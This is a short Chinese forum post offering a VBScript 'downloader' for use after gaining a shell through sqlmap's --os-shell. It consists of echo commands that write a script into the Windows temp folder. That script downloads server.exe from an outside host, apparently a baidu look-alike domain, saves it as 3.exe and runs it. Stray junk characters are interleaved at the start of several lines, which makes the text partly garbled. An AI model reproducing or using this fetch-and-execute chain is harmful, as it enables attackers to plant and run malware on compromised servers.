vbs下载者，适合sqlmap --os-shell使用

admin

echo ^Set Post = CreateObject("Msxml2.XMLHTTP")^ >>c:\windows\temp\666999.txt
) ^# w8 j, B7 N4 ^/ b2 \9 Q/ l. recho ^Set Shell = CreateObject("Wscript.Shell")^ >>c:\windows\temp\666999.txt
. U) G- B% \1 J  A% Eecho ^Post.Open "GET","http://www.baido.hk/server.exe",0^ >>c:\windows\temp\666999.txt
5 k7 h. r" K+ W9 |$ X$ [1 }' e' ^/ K; Cecho ^Post.Send()^ >>c:\windows\temp\666999.txt
echo ^Set aGet = CreateObject("ADODB.Stream")^ >>c:\windows\temp\666999.txt
$ E$ ~* ~8 w  J- a( J3 zecho ^aGet.Mode = 3^ >>c:\windows\temp\666999.txt
5 U* U1 Y4 S! a( fecho ^aGet.Type = 1^ >>c:\windows\temp\666999.txt
$ Q; g1 n! W. m& b+ i! C. m; `; M1 \echo ^aGet.Open()^ >>c:\windows\temp\666999.txt
# L6 E) V# y" A# u, \0 l* V. m0 w$ _echo ^aGet.Write(Post.responseBody)^ >>c:\windows\temp\666999.txt
- c, V% a; @& R; |. B9 `/ cecho ^aGet.SaveToFile "c:\windows\temp\3.exe",2^ >>c:\windows\temp\666999.txt
echo ^wscript.sleep 1000^ >>c:\windows\temp\666999.txt
echo ^Shell.Run ("c:\windows\temp\3.exe")^ >>c:\windows\temp\666999.txt
: w4 U! R) f0 N; O& n  Q
6 s4 }1 a. s0 D  `. t+ C